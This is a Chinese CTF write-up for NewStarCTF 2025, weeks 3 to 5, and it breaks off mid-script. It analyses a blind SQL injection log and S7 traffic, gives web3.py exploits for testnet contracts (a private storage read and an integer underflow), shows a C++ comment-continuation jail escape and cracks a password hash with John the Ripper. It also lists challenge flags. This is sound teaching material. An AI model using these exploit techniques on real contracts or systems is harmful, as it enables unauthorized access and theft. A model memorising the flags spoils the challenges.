print(f" Found x = {x}")

# 将 x 转换回 6 字节的字符串
# 原始脚本中每部分长度为 n = 18 // 3 = 6
part_bytes = long_to_bytes(x, 6)
print(f" Converted to bytes: {part_bytes}")
inner_parts.append(part_bytes)
print("-" * 20)

inner_flag = b''.join(inner_parts)
flag = b'flag{' + inner_flag + b'}'

print(flag.decode())

FLAG

1
flag{I_l0v3_DLPPPPP^.^!}

Week 3

Misc

日志分析-盲辨海豚

Challenge

城邦附近的水域突然出现了成群的海豚,导致城邦原本的海豚群被冲散。城邦的海豚会在半夜发出不同的回响,现在需要挑战者们通过声音帮助城邦找回走丢的海豚们

【难度:简单】

Solution

日志文件记录了**布尔盲注(Boolean-Based Blind SQL Injection)**攻击。攻击者通过构造 AND 后面的逻辑条件(如 length(database())=4)来判断条件的真假。

原理:

  1. 构造真/假问题:在 SQL 查询中注入一个逻辑判断语句
  2. 观察响应差异
    • 条件为 返回一个特定内容或状态的页面
    • 条件为 返回另一个不同的内容或状态的页面
  3. 推断信息:通过观察响应的差异逐个字符地推断出数据库信息

在题目日志中可以看到:

  • 当条件为 时(例如 length(database())=3),响应体的大小为 22 字节
  • 当条件为 时(例如 length(database())=4),响应体的大小为 6 字节

因此 响应大小为 6 就是判断“真”的标志,可以利用这个标志来找出所有成功的猜测,拼起来就是 flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import re
import urllib.parse
from collections import defaultdict

def analyze_blind_sql_log(log_file_path):
"""
分析布尔盲注攻击的日志文件
"""
# 根据日志分析,响应体大小为'6'表示SQL条件为真
TRUE_RESPONSE_SIZE = '6'

with open(log_file_path, 'r', encoding='utf-8') as f:
lines = f.readlines()

# 预处理日志,筛选出所有表示“真”的URL请求
true_urls = []
for line in lines:
if f' 200 {TRUE_RESPONSE_SIZE}' in line:
log_match = re.search(r'"GET (.*?) HTTP/1\.1"', line)
if log_match:
decoded_url = urllib.parse.unquote(log_match.group(1))
true_urls.append(decoded_url)

print(f"找到 {len(true_urls)} 条表示“条件为真”的日志记录。\n")

# --- 1. 分析数据库信息 ---
db_name_chars = {}
db_name_len = 0
database_name = ""
for url in true_urls:
if (db_len_match := re.search(r'length\(database\(\)\)=(\d+)', url)):
db_name_len = int(db_len_match.group(1))

if (db_char_match := re.search(r'ascii\(substr\(database\(\),(\d+),1\)\)=(\d+)', url)):
pos, ascii_val = map(int, db_char_match.groups())
db_name_chars[pos] = chr(ascii_val)

if db_name_chars:
database_name = "".join(v for k, v in sorted(db_name_chars.items()))
print(f"[+] 发现数据库名称: {database_name}")
print(f" - 确认长度: {db_name_len}")
else:
print("[-] 未能从日志中解析出数据库名称。")
return

# --- 2. 分析表信息 ---
table_name_chars = defaultdict(dict)
for url in true_urls:
if (table_char_match := re.search(r"ascii\(substr\(\(select table_name from .*? limit (\d+),1\),(\d+),1\)\)=(\d+)", url)):
index, pos, ascii_val = map(int, table_char_match.groups())
table_name_chars[index][pos] = chr(ascii_val)

tables = {} # 结构: {表名: { 'columns': {...}, 'column_names': [...] }}
if table_name_chars:
print(f"\n[+] 在数据库 '{database_name}' 中发现 {len(table_name_chars)} 个表:")
for index, chars in sorted(table_name_chars.items()):
name = "".join(v for k, v in sorted(chars.items()))
tables[name] = {'columns': defaultdict(dict)}
print(f" - {name}")

# --- 3. 分析列信息并存储列名 ---
for url in true_urls:
match = re.search(r"ascii\(substr\(\(select column_name from .*?table_name\s*=\s*'(\w+)'.*?limit (\d+),1\),(\d+),1\)\)\s*=\s*'?(\d+)'?", url)
if match:
table_name, index, pos, ascii_val = match.groups()
if table_name in tables:
tables[table_name]['columns'][int(index)][int(pos)] = chr(int(ascii_val))

for table_name, data in tables.items():
if data['columns']:
print(f"\n[+] 表 '{table_name}' 的列信息:")
assembled_columns = []
for index, chars in sorted(data['columns'].items()):
col_name = "".join(v for k, v in sorted(chars.items()))
print(f" - {col_name}")
assembled_columns.append(col_name)
# 将解析出的列名列表存回字典
tables[table_name]['column_names'] = assembled_columns

# --- 4. 分析和提取每个表每个列的数据 ---
extracted_data = defaultdict(dict)

for table_name, table_data in tables.items():
for column_name in table_data.get('column_names', []):
# 构建正则表达式,匹配当前表和列的数据提取日志
pattern = re.compile(
fr"ascii\(substr\(\(select {column_name} from {database_name}\.{table_name}\),(\d+),1\)\)\s*=?\s*'?(\d+)'?"
)

temp_chars = {}
for url in true_urls:
match = pattern.search(url)
if match:
pos, ascii_val = map(int, match.groups())
temp_chars[pos] = chr(int(ascii_val))

if temp_chars:
value = "".join(v for k, v in sorted(temp_chars.items()))
extracted_data[table_name][column_name] = value

# --- 5. 打印提取的数据 ---
if not extracted_data:
print(" - 未能从任何表中提取到具体数据。")
else:
for table, cols in extracted_data.items():
print(f"\n[+] 表 '{table}' 中的数据:")
# 检查是否有数据被提取
has_data = False
for col, val in cols.items():
if val:
print(f" - 列 '{col}': {val}")
has_data = True
if not has_data:
print(" - (未在此表中找到具体数据条目)")

if __name__ == "__main__":
LOG_FILENAME = "blindsql.log"
analyze_blind_sql_log(LOG_FILENAME)

FLAG

1
flag{SQL_injection_logs_are_very_easy}

流量分析-S7的秘密

Challenge

人们在虚拟大陆逐渐适应,为了更好的生活,城邦们正在大力发展第二产业。但是一个陈旧的机器突然接收到了信号,值班的工人们紧急捕获了信号发生后的信息,挑战者们可以帮助工业破译接收到的信息吗?请将信息放在flag{}内提交

【难度:简单】

Solution

这段流量的核心是一系列从客户端 (192.168.0.100) 发往PLC (192.168.0.25) 的 写变量(Write Var) 操作

  1. 分析所有客户端发出的写变量请求(即报文3, 5, 7, 9…),并提取出两个关键信息:
    • 写入的目标地址 (Byte Address)
    • 写入的数据 (Data)
  2. 注意到这些写入操作的目标地址并不是按顺序的,而是被打乱的,因此我们需要根据内存地址来重新排列这些数据:
报文帧号 写入的字节地址 写入的16进制数据 对应的ASCII字符
3 0 0049 I
21 2 0049 I
7 4 004f O
23 6 0054 T
29 8 005f _
31 10 0069 i
27 12 006d m
5 14 0070 p
19 16 006f o
25 18 0072 r
9 20 0074 t
11 22 0061 a
15 24 006e n
13 26 0074 t
17 28 0021 !
  1. 将重新排序后的 ASCII 字符拼接起来得到 IIOT_important!

FLAG

1
flag{IIOT_important!}

区块链-以太坊的约定

Challenge

城邦附近开了一家存储链子的工坊,快来看看吧!

本题由多个小问题组成,得到各个小问题答案后用下划线”_”拼接即可

1.注册小狐狸钱包,并提交小狐狸钱包助记词个数

2.1145141919810 Gwei等于多少ETH (只保留整数)

3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820

0x949F8fc083006CC5fb51Da693a57D63eEc90C675

4.使用remix编译运行附件中的合约,将输出进行提交

【难度:中等】

Solution

1

常识,12 个

2

常识,查下就知道这个单位怎么换算了,1145 ETH

3

首先出题人大概率不会花真金白银来出题,那就排除掉主网了,前面的问题问的都是以太坊的,那很明显是以太坊的测试网了,那么在众多测试网中最出名的一个当然就是 Sepolia 啦, Sepolia Transaction Hash: 0x26cf6de9d7… | Etherscan,Jun-14-2024 06:01:48 AM UTC

4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleOperation {
function getResult() public pure returns (string memory) {
uint a = 10;
uint b = 5;
uint sum = a + b;
uint product = a * b;
if (sum > product) {
}
return "solidity";
}
}

不跑也行,一眼看到 return "solidity";,solidity

FLAG

1
flag{12_1145_20240614_solidity}

Week 4

Misc

区块链-智能合约

Challenge

如果你想和工坊签订合约,就来这个地址找它吧!
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行
【难度:简单】

SimpleVault2.0_user.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleVault {
string private flag = "flag{fake_flag}";
uint256 private password = 0x0721;

// 使用映射来记录每个地址的解锁状态
mapping(address => bool) public unlocked;

function unlock(uint256 _password) external {
// 检查当前调用者是否已经解锁,如果已经解锁,则无需再次操作
require(!unlocked[msg.sender], "Already unlocked!");
if (_password == password) {
// 只修改当前调用者(msg.sender)的解锁状态
unlocked[msg.sender] = true;
}
}

function getFlag() external view returns (string memory) {
// 检查当前调用者是否已解锁
require(unlocked[msg.sender], "Vault is locked. Unlock it first!");
return flag;
}
}

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import os
import json
from web3 import Web3
from dotenv import load_dotenv

# --- 1. 配置 ---
load_dotenv()
NODE_URL = os.getenv("SEPOLIA_RPC_URL")
PRIVATE_KEY = os.getenv("PRIVATE_KEY")

# 题目合约地址
CONTRACT_ADDRESS = "0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08"

# SimpleVault 合约的 ABI
ABI = json.loads('''
[
{
"inputs": [],
"name": "getFlag",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_password",
"type": "uint256"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "unlocked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
''')

# --- 2. 连接到以太坊 ---
w3 = Web3(Web3.HTTPProvider(NODE_URL))

# 加载账户
my_account = w3.eth.account.from_key(PRIVATE_KEY)
w3.eth.default_account = my_account.address

# --- 3. 与合约交互 ---
# 创建合约实例
contract = w3.eth.contract(address=w3.to_checksum_address(CONTRACT_ADDRESS), abi=ABI)

def send_and_wait_transaction(tx):
"""签名、发送交易并等待其完成"""
signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
print(f" 交易已发送, 哈希: {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f" 交易已确认, 区块号: {receipt.blockNumber}")
return receipt

# --- 4. 攻击 ---
try:
# --- 步骤 1: 读取私有变量 `password` ---
print("\n[步骤 1] 读取合约 storage slot 1 以获取密码")

password_slot = 1
storage_data = w3.eth.get_storage_at(w3.to_checksum_address(CONTRACT_ADDRESS), password_slot)

# 将读取到的 bytes32 数据转换为整数
password_value = w3.to_int(storage_data)

print(f" 从 slot {password_slot} 读取到原始数据 (hex): {storage_data.hex()}")
print(f" 解码后的密码 (十进制): {password_value}")

# --- 步骤 2: 调用 unlock 函数 ---
print(f"\n[步骤 2] 使用密码 {password_value} 调用 unlock() 函数")

unlock_tx = contract.functions.unlock(password_value).build_transaction({
'from': my_account.address,
'nonce': w3.eth.get_transaction_count(my_account.address),
'gas': 100000,
# gas 价格策略,适用于 EIP-1559
'maxFeePerGas': w3.eth.gas_price + w3.to_wei('5', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('2', 'gwei')
})

# 发送交易并等待确认
send_and_wait_transaction(unlock_tx)
print(" 成功调用 unlock()")

# --- 步骤 3: 调用 getFlag 函数获取 Flag ---
print("\n[步骤 3] 调用 getFlag() 函数获取 Flag")

# 调用 view 函数不需要发送交易
flag = contract.functions.getFlag().call()
print(flag)


except Exception as e:
print(f"发生错误: {e}")

FLAG

1
flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t}

应急响应-初识

Challenge

欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧!
城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。
用户名:Administrator 密码:Newst@r
flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码}
【难度:中等】

Solution

NewStarCTF2025-8

木马连接密码:rebeyond

NewStarCTF2025-9

影子用户密码:Ns2025

NewStarCTF2025-10

在桌面找到影子用户账号创建工具,搜索看可以找到 Release v 0.2 · wgpsec/CreateHiddenAccount,v0.2的发布时间是 Jan 18, 2022

FLAG

1
flag{rebeyond_2022-01-18_Ns2025}

jail-Neuro jail

Challenge

Neuro 打 osu 的时候被关进 jail 了!一定是 Evil 干的,快点帮帮 Neuro 逃出 jail!【如果出现乱码问题,请在终端输入 chcp 65001】
【难度:简单】

jail.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import sys, base64, subprocess, os
sys.stdout.reconfigure(encoding='utf-8') if hasattr(sys.stdout, 'reconfigure') else None

BANNER = """
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ███╗ ██╗███████╗██╗ ██╗ ███████╗████████╗ █████╗ ██████╗ ║
║ ████╗ ██║██╔════╝██║ ██║ ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗ ║
║ ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████╗ ██║ ███████║██████╔╝ ║
║ ██║╚██╗██║██╔══╝ ██║███╗██║ ╚════██║ ██║ ██╔══██║██╔══██╗ ║
║ ██║ ╚████║███████╗╚███╔███╔╝ ███████║ ██║ ██║ ██║██║ ██║ ║
║ ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ║
║ ║
║ PYTHON JAIL CHALLENGE ║
║ ║
║ Welcome to the NewStar CTF Python Jail! ║
║ ║
║ ┌─────────────────────────────┐ ║
║ │ MISSION BRIEFING: │ ║
║ │ │ ║
║ │ Escape the waf jail │ ║
║ │ │ ║
║ └─────────────────────────────┘ ║
║ ║
║ ║
║ Good luck, NewStar! ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""


def jail(code):
if (len(code) > 200):
exit("Code too long!")
blacklist = [
"(", ")", "[", "]", "{", "}", "<", ">"
]
for word in blacklist:
if word in code:
exit("Blacklisted word found: " + word)

print(BANNER)
content = base64.b64decode(input("Input your base64 content: ").encode()).decode("utf-8")

jail(content)

with open("./template_cpp.cpp", "r") as f: template = f.read()
template = template.replace("/* YOUR CODE HERE */", content)
with open("./temp.cpp", "w") as f: f.write(template)

try:
if (os.path.exists("./temp")): subprocess.run(["rm", "./temp"], timeout=2)
res = subprocess.run(["g++", "./temp.cpp", "-o", "./temp", "-std=c++11"], timeout=2)
if res.returncode != 0:
exit("Compilation failed!")
result = subprocess.run(["./temp"], capture_output=True, text=True, timeout=2)
output = result.stdout
print("Program output:\n" + output)
if "NewStar!!!" in output: f = open("./flag", "r"); print(f.read())
except subprocess.TimeoutExpired:
print("Execution timed out!")

template_cpp.cpp

1
2
3
4
5
6
7
8
9
#include <iostream>
#include <string>

int main() {
/* YOUR CODE HERE */
std::string s = "NoWay";
std::cout << s;
return 0;
}

Solution

在C++预处理阶段,如果一行的最后一个字符是反斜杠 \,预处理器会把它和下一行物理地拼接成一个逻辑行。合并后的逻辑行在预处理器看来是这样的:std::string s = “NewStar”; // std::string s = “NoWay”;
这样就可以把下一行给注释了

因此可以鼓构造 payload:std::string s = "NewStar!!!"; //\

base64 编码后得到:c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ███╗ ██╗███████╗██╗ ██╗ ███████╗████████╗ █████╗ ██████╗ ║
║ ████╗ ██║██╔════╝██║ ██║ ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗ ║
║ ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████╗ ██║ ███████║██████╔╝ ║
║ ██║╚██╗██║██╔══╝ ██║███╗██║ ╚════██║ ██║ ██╔══██║██╔══██╗ ║
║ ██║ ╚████║███████╗╚███╔███╔╝ ███████║ ██║ ██║ ██║██║ ██║ ║
║ ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ║
║ ║
║ PYTHON JAIL CHALLENGE ║
║ ║
║ Welcome to the NewStar CTF Python Jail! ║
║ ║
║ ┌─────────────────────────────┐ ║
║ │ MISSION BRIEFING: │ ║
║ │ │ ║
║ │ Escape the waf jail │ ║
║ │ │ ║
║ └─────────────────────────────┘ ║
║ ║
║ ║
║ Good luck, NewStar! ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝

Input your base64 content: c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9c
Program output:
NewStar!!!
flag{58f8cf0b-9c3d-44dd-9757-1935ef568af9}

FLAG

1
flag{58f8cf0b-9c3d-44dd-9757-1935ef568af9}

Week 5

Misc

应急响应-把你mikumiku掉-1

Challenge

城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗
解压密码:d93e2cb85b2a51ef40e86e4bd6df0b14
账号:newstar 密码:newstar
请问攻击者使用的漏洞编号是?flag{漏洞编号}
【难度:中等】

Solution

/home/newstar/.bash_history 发现修改了 /etc/systemd/system/tomcat.service,怀疑是 tomcat 的洞,直接在搜索引擎搜索 “tomcat cve 2025” 找到 RCE 漏洞 CVE-2025-24813,一试就出来了

FLAG

1
flag{CVE-2025-24813}

应急响应-把你mikumiku掉-2

Challenge

flag{木马连接密码_恶意用户密码}
tips:用户密码是六位特定范围内的字母构成
【难度:中等】

Solution

吐槽一下这题的 tips 放得有点晚

先找到恶意用户是 mikuu,首次登录时间为 2025-10-17 13:28:23

NewStarCTF2025-11

在时间线上找 2025-10-17 13:28:23 前面一点的内容

NewStarCTF2025-12

找到木马 mikuu.jsp,连接密码是 miiikuuu

NewStarCTF2025-13

拿到该用户的密码哈希 $y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8,将其写入 hash.txt 备用

根据提示用户密码是六位特定范围内的字母构成,猜测特定范围内的字母(也就是字符集)是 miku,写脚本生成字典

1
2
3
4
import itertools
with open('wordlist.txt', 'w') as f:
for p in itertools.product('miku', repeat=6):
f.write(''.join(p) + '\n')

然后用 JtR 爆破:

1
2
3
4
5
6
7
8
9
10
11
john --wordlist=wordlist.txt --format=crypt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
miiiku (mikuu)
1g 0:00:00:04 DONE (2025-10-27 19:01) 0.2490g/s 95.61p/s 95.61c/s 95.61C/s mimkmm..miiuuu
Use the "--show" option to display all of the cracked passwords reliably
Session completed

得到恶意用户的密码 mikuu

FLAG

1
flag{miiikuuu_miiiku}

应急响应-把你mikumiku掉-3

Challenge

被加密文件里面的内容是什么?
【难度:中等】

Solution

/home/mikuu 找到加密程序和加密文件

NewStarCTF2025-14

mcp 一把梭了

NewStarCTF2025-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = bytes.fromhex("12 34 56 78 9A BC DE F0 11 22 33 44 55 66 77 88".replace(" ", ""))
IV = bytes.fromhex("19 19 81 01 14 51 40 EF FE DC BA 98 76 54 32 10".replace(" ", ""))

with open("flag.miku", "rb") as f:
iv_file = f.read(16)
ciphertext = f.read()

cipher = AES.new(KEY, AES.MODE_CBC, IV)
plaintext = unpad(cipher.decrypt(ciphertext), 16)

print(plaintext)

FLAG

1
flag{Miku_miku_oo_ee_oo}

区块链-INTbug

Challenge

合约地址:0xB6748b3B308b382E28438cc72872e2D70369D90b
【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleOverflowVault {
string private flag = "flag{fake_fake_fake}";

mapping(address => bool) public unlocked;
mapping(address => uint256) public userPoints;
uint256 public totalPoints;
mapping(address => uint256) private userSpentPoints;

event PointsAdded(address indexed user, uint256 points);
event PointsUsed(address indexed user, uint256 points);

constructor() {
totalPoints = 0;
userSpentPoints[msg.sender] = 1000;
}

function addPoints(uint256 points) external {
require(points > 0, "Points must be greater than 0");

if (userSpentPoints[msg.sender] == 0) {
userSpentPoints[msg.sender] = 1000;
}

userPoints[msg.sender] += points;
totalPoints += points;

emit PointsAdded(msg.sender, points);
}

function usePoints(uint256 points) external {
require(points > 0, "Points must be greater than 0");
require(userPoints[msg.sender] >= points, "Insufficient points");

if (userSpentPoints[msg.sender] == 0) {
userSpentPoints[msg.sender] = 1000;
}

userPoints[msg.sender] -= points;

unchecked {
totalPoints -= points;
userSpentPoints[msg.sender] -= points;
}

if (userSpentPoints[msg.sender] > 1000) {
unlocked[msg.sender] = true;
}

emit PointsUsed(msg.sender, points);
}

function getFlag() external view returns (string memory) {
require(unlocked[msg.sender], "Vault is locked. Trigger integer underflow first!");
return flag;
}

function getSpentPoints() external view returns (uint256) {
return userSpentPoints[msg.sender] == 0 ? 1000 : userSpentPoints[msg.sender];
}

function resetUser() external {
uint256 userCurrentPoints = userPoints[msg.sender];

if (userCurrentPoints > 0) {
unchecked {
totalPoints -= userCurrentPoints;
}
userPoints[msg.sender] = 0;
}

userSpentPoints[msg.sender] = 1000;
unlocked[msg.sender] = false;
}
}

Solution

吐槽一下,这题的合约地址在开赛 9 小时后才被放出…

目标是调用 getFlag() 获取合约中存储的 flag,调用的条件是将自己的 unlocked 状态设置为 true,然后发现它能在 usePoints 函数中被修改为 true

1
2
3
4
5
6
7
function usePoints(uint256 points) external {
// ...
if (userSpentPoints[msg.sender] > 1000) {
unlocked[msg.sender] = true;
}
// ...
}

条件是 userSpentPoints[msg.sender] 的值大于 1000,然后分析 userSpentPoints[msg.sender] 这个变量的行为:

  1. 在首次调用 addPoints / usePoints 时值被设置为 1000
  2. usePoints 函数中,该变量的值会通过 userSpentPoints[msg.sender] -= points; 这行代码被减少

整个合约中 userSpentPoints 的值只会减小不会增加,要怎样才能让它大于 1000 呢?

Solidity 从 0.8.0 开始会默认开启溢出保护,然而在上面的代码中这个保护却被人为关闭了

1
2
3
4
unchecked {
totalPoints -= points;
userSpentPoints[msg.sender] -= points;
}

因此合约存在整数下溢漏洞,只需要在调用 usePoints 时传入的 points 参数大于 userSpentPoints[msg.sender] 的当前值(1000)就会触发下溢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
import os
import json
from web3 import Web3
from dotenv import load_dotenv

# --- 1. 配置 ---
load_dotenv()

NODE_URL = os.getenv("SEPOLIA_RPC_URL")
PRIVATE_KEY = os.getenv("PRIVATE_KEY")

CONTRACT_ADDRESS = "0xB6748b3B308b382E28438cc72872e2D70369D90b"

# SimpleOverflowVault 合约的 ABI
ABI = json.loads('''
[
{
"type": "constructor",
"inputs": [],
"stateMutability": "nonpayable"
},
{
"type": "function",
"name": "addPoints",
"inputs": [
{
"name": "points",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"type": "function",
"name": "getFlag",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"type": "function",
"name": "getSpentPoints",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"type": "function",
"name": "resetUser",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"type": "function",
"name": "totalPoints",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"type": "function",
"name": "unlocked",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"type": "function",
"name": "usePoints",
"inputs": [
{
"name": "points",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"type": "function",
"name": "userPoints",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
}
]
''')

# --- 2. 连接到以太坊 ---
w3 = Web3(Web3.HTTPProvider(NODE_URL))

if not w3.is_connected():
print("❌ 连接以太坊节点失败")
exit()

print(f"✅ 成功连接到以太坊节点,链 ID: {w3.eth.chain_id}")

# 加载账户
my_account = w3.eth.account.from_key(PRIVATE_KEY)
w3.eth.default_account = my_account.address
print(f"✅ 使用账户地址: {my_account.address}")

# --- 3. 与合约交互 ---
# 创建合约实例
contract = w3.eth.contract(address=w3.to_checksum_address(CONTRACT_ADDRESS), abi=ABI)

def send_and_wait_transaction(tx, tx_name="交易"):
"""一个辅助函数,用于签名、发送交易并等待其完成"""
try:
# 估算 gas
tx['gas'] = w3.eth.estimate_gas(tx)
print(f" 估算 Gas: {tx['gas']}")
except Exception as e:
print(f" Gas 估算失败,使用默认值 200000。错误: {e}")
tx['gas'] = 200000

signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
print(f" {tx_name} 已发送, 哈希: {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
print(f" {tx_name} 已确认, 区块号: {receipt.blockNumber}")
return receipt

# --- 4. 执行攻击 ---
try:
# --- 步骤 1: 查看初始状态 ---
print("\n[步骤 1] 查看初始状态")
is_unlocked_before = contract.functions.unlocked(my_account.address).call()
user_points_before = contract.functions.userPoints(my_account.address).call()
spent_points_before = contract.functions.getSpentPoints().call()

print(f" Vault 是否解锁: {is_unlocked_before}")
print(f" 当前用户积分: {user_points_before}")
print(f" 当前已花费积分 (逻辑值): {spent_points_before}")

if is_unlocked_before:
print("\n✅ Vault 已经解锁,尝试直接获取 Flag...")
flag = contract.functions.getFlag().call()
print(f" 🚩 成功获取 Flag: {flag}")
exit()

# --- 步骤 2: 获取足够的积分 ---
# 为了触发下溢,我们需要花费比 getSpentPoints() (初始为1000) 更多的积分
# 同时,我们必须拥有这么多积分才能通过 require 检查
points_needed = spent_points_before + 1
print(f"\n[步骤 2] 调用 addPoints() 获取 {points_needed} 积分")

add_points_tx = contract.functions.addPoints(points_needed).build_transaction({
'from': my_account.address,
'nonce': w3.eth.get_transaction_count(my_account.address),
'maxFeePerGas': w3.to_wei('2.5', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('2', 'gwei')
})

send_and_wait_transaction(add_points_tx, "addPoints 调用")

# 验证积分是否已添加
user_points_after_add = contract.functions.userPoints(my_account.address).call()
print(f" 添加后用户积分: {user_points_after_add}")
if user_points_after_add < points_needed:
print("❌ 添加积分失败,退出。")
exit()

# --- 步骤 3: 触发整数下溢 ---
print(f"\n[步骤 3] 调用 usePoints() 花费 {points_needed} 积分以触发下溢")

use_points_tx = contract.functions.usePoints(points_needed).build_transaction({
'from': my_account.address,
'nonce': w3.eth.get_transaction_count(my_account.address),
'maxFeePerGas': w3.to_wei('2.5', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('2', 'gwei')
})

send_and_wait_transaction(use_points_tx, "usePoints 调用")

# --- 步骤 4: 验证结果并获取 Flag ---
print("\n[步骤 4] 验证攻击结果并获取 Flag")

# 检查状态
is_unlocked_after = contract.functions.unlocked(my_account.address).call()
